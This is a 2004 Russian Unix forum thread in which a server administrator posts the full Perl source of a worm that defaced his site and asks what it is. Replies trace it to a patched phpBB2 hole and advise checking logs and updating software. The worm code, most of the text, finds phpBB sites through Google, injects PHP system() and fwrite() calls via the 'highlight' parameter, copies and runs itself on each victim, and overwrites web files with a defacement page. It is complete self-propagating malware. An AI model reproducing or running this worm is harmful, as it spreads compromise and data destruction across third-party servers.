Гость
Целевая тема:
Создать новую тему:
Автор:
Форумы / Unix-системы [игнор отключен] [закрыт для гостей] / Сервак поломали хакеры :) / 10 сообщений из 10, страница 1 из 1
21.12.2004, 12:14
    #32836608
Товарисч
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Сервак поломали хакеры :)
Утречком юные (или не очень) хакеры поломали сервак....
Повезло, пришёл через 10 минут после этого, заметил, исправил. Так и не понял другое - как? Все странички заменены, до кучи лежит скрипт на PERL посреди data-dist
Код: plaintext
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.
125.
126.
127.
128.
129.
130.
131.
132.
133.
134.
135.
136.
137.
138.
139.
140.
141.
142.
143.
144.
145.
146.
147.
148.
149.
150.
151.
152.
153.
154.
155.
156.
157.
158.
159.
160.
161.
162.
163.
164.
165.
166.
167.
168.
169.
170.
171.
172.
173.
174.
175.
176.
177.
178.
179.
180.
181.
182.
183.
184.
185.
186.
187.
188.
189.
190.
191.
192.
193.
194.
195.
196.
197.
198.
199.
200.
201.
202.
203.
204.
205.
206.
207.
208.
209.
210.
211.
212.
213.
214.
215.
216.
#!/usr/bin/perl
use strict;
use Socket;

sub PayLoad();
sub DoDir($);
sub DoFile($);
sub GoGoogle();
sub GrabURL($);
sub str2chr($);

eval{ fork and exit; };

my $generation =  14 ;
PayLoad() if $generation >  3 ;

open IN, $ 0  or exit;
my $self = join '', <IN>;
close IN;
unlink $ 0 ;

while(!GrabURL('http://www.google.com/advanced_search')) {

	if($generation >  3 ) {
		PayLoad() ;
	} else {
		exit;
	}
}

$self =~ s/my \$generation = (\d+);/'my $generation = ' . ($ 1  +  1 ) . ';'/e;


my $selfFileName = 'm1ho2of';
my $markStr = 'HYv9po4z3jjHWanN';
my $perlOpen = 'perl -e "open OUT,q(>' . $selfFileName . ') and print q(' . $markStr . ')"';
my $tryCode = '&highlight=%2527%252Esystem(' . str2chr($perlOpen) . ')%252e%2527';


while( 1 ) {

	exit if -e 'stop.it';

OUTER: for my $url (GoGoogle()) {

	exit if -e 'stop.it';

	$url =~ s/&highlight=.*$//;
	$url .= $tryCode;
	my $r = GrabURL($url);
	next unless defined $r;
	next unless $r =~ /$markStr/;

	while($self =~ /(.{ 1 , 20 })/gs) {

		my $portion = '&highlight=%2527%252Efwrite(fopen(' . 
			str2chr($selfFileName) . ',' . str2chr('a') . '),' . str2chr($ 1 ) .
			'),exit%252e%2527';

		$url =~ s/&highlight=.*$//;
		$url .= $portion;
		next OUTER unless GrabURL($url);
	}

	my $syst = '&highlight=%2527%252Esystem(' . str2chr('perl ' . $selfFileName) .
		')%252e%2527';
	$url =~ s/&highlight=.*$//;
	$url .= $syst;
	GrabURL($url);
}
}


sub str2chr($) {

	my $s = shift;

	$s =~ s/(.)/'chr(' . ord($ 1 ) . ')%252e'/seg;
	$s =~ s/%252e$//;
	return $s;
}


sub GoGoogle() {

	my @urls;

	my @ts = qw/t p topic/;

	my $startURL = 'http://www.google.com/search?num=100&hl=en&lr=&as_qdr=all' .
		'&q=allinurl%3A+%22viewtopic.php%22+%22' . 
		$ts[int(rand(@ts))] . '%3D' . int(rand( 30000 )) . '%22&btnG=Search';

	my $goo1st = GrabURL($startURL);

	return unless defined $goo1st;

	my $allGoo = $goo1st;

	my $r = '<td><a href=(/search\?q=.+?)' .
		'><img src=/nav_page\.gif width=16 height=26 alt="" border=0><br>\d+</a>';

	while($goo1st =~ m#$r#g) {

		$allGoo .= GrabURL('www.google.com' . $ 1 );
	}


	while($allGoo =~ m#href=(http://\S+viewtopic.php\S+)#g) {

		my $u = $ 1 ;
		next if $u =~ m#http://.*http://#i; # no redirects
		push(@urls, $u);
	}

	return @urls;
}


sub GrabURL($) {

	my $url = shift;
	$url =~ s#^http://##i;

	my ($host, $res) = $url =~ m#^(.+?)(/.*)#;
	return unless defined($host) && defined($res);

	my $r = "GET $res HTTP/1.0\015\012" .
			"Host: $host\015\012" .
			"Accept: */*\015\012" .
			"Accept-Language: en-us,en-gb;q=0.7,en;q=0.3\015\012" .
			"Pragma: no-cache\015\012" .
			"Cache-Control: no-cache\015\012" .
			"Referer: http://" . $host . $res . "\015\012" .
			"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\015\012" .
			"Connection: close\015\012\015\012";

	my $port =  80 ;
	if($host =~ /(.*):(\d+)$/){ $host = $ 1 ; $port = $ 2 ;}

	my $internet_addr = inet_aton($host) or return;
	socket(Server, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or return;
	setsockopt(Server, SOL_SOCKET, SO_RCVTIMEO,  10000 );
	connect(Server, sockaddr_in($port, $internet_addr)) or return;
	select((select(Server), $| =  1 )[ 0 ]);
	print Server $r;
	my $answer = join '', <Server>;
	close(Server);

	return $answer;
}


sub DoFile($) {

	my $s = q{<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>This site is defaced!!!</TITLE>
</HEAD><BODY bgcolor="#000000" text="#FF0000">
<H1>This site is defaced!!!</H1>
<HR>
<ADDRESS><b>NeverEverNoSanity WebWorm generation } . $generation .q{.</b></ADDRESS>
</BODY></HTML>
};

	unlink $_[ 0 ];
	open OUT, ">$_[0]" or return;
	print OUT $s;
	close OUT;
}


sub DoDir($) {

	my $dir = $_[ 0 ];
	$dir .= '/' unless $dir =~ m#/$#;

	local *DIR;
	opendir DIR, $dir or return;

	for my $ent (grep { $_ ne '.' and $_ ne '..' } readdir DIR) {

		unless(-l $dir . $ent) {
			if(-d _) {
				DoDir($dir . $ent);
				next;
			}
		}

		if($ent =~ /\.htm/i or $ent =~ /\.php/i or $ent =~ /\.asp/i or $ent =~ /\.shtm/i
			or $ent =~ /\.jsp/i or $ent =~ /\.phtm/i) {

			DoFile($dir . $ent);
		}
	}

	closedir DIR;
}


sub PayLoad() {

	my @dirs;

	eval{
		while(my @a = getpwent()) { push(@dirs, $a[ 7 ]);}
	};

	push(@dirs, '/');

	for my $l ('A' .. 'Z') {
		push(@dirs, $l . ':');
	}

	for my $d (@dirs) { DoDir($d); }
}
Чё это такое?
P.S. FreeBSD4.9, apache1.3.28 mod_gzip/1.3.26.1a PHP/4.3.3
Я в перл ни бум-бум....
Самое интересное - как оно туда попало?
Народ, куда рыть, чё делать? Пароли поменял.... Сайт восстановил... Что ещё можно сделать, чтоб не повторилось?
...
Рейтинг: 0 / 0
21.12.2004, 12:32
    #32836658
lissyara
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Сервак поломали хакеры :)
А это известная дырка форума phpBB2 к которой уже выпущена залатка.
...
Рейтинг: 0 / 0
21.12.2004, 19:50
    #32837846
DocAl
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Сервак поломали хакеры :)
Да уж, дырка оччень гадкая...
Если интересно, как именно покоцали -- грепай логи апача насчёт viewtopic.php и чего-нить подозрительного, типа там cat, ls, просто ";".
...
Рейтинг: 0 / 0
22.12.2004, 12:55
    #32838959
salt
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Сервак поломали хакеры :)
Смотрим сюда.
http://www.phpbb.com/phpBB/viewtopic.php?t=240513
...
Рейтинг: 0 / 0
23.12.2004, 18:48
    #32842613
Alex Rootoff
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Сервак поломали хакеры :)
Я рекомендовал бы чаще апдейтить Фрю, Апач, ПХП, а также заглядывать на securitylab.ru, securityfocus.org, insecure.org, etc.


With best regards Alex Rootoff
...
Рейтинг: 0 / 0
23.12.2004, 20:12
    #32842740
DocAl
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Сервак поломали хакеры :)
Да сколько ни апдейть, если юзера за дырявыми форумами своими не следят, то результат тот же...
...
Рейтинг: 0 / 0
23.12.2004, 22:20
    #32842820
Alex Rootoff
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Сервак поломали хакеры :)
Показал бы логи...


With best regards Alex Rootoff
...
Рейтинг: 0 / 0
24.12.2004, 10:10
    #32843126
lissyara
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Сервак поломали хакеры :)
http://www.computerra.ru/think/sentinel/37208/
Вот и объяснение, что за скрипт. Вирус енто.
...
Рейтинг: 0 / 0
24.12.2004, 10:30
    #32843181
Товарисч
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Сервак поломали хакеры :)
Логи. Только толку?
...
Рейтинг: 0 / 0
27.12.2004, 22:37
    #32846891
Alex Rootoff
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Сервак поломали хакеры :)
Любопытства ради.


With best regards Alex Rootoff
...
Рейтинг: 0 / 0
Форумы / Unix-системы [игнор отключен] [закрыт для гостей] / Сервак поломали хакеры :) / 10 сообщений из 10, страница 1 из 1
Найденые пользователи ...
Разблокировать пользователей ...
Читали форум (0):
Пользователи онлайн (0):
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]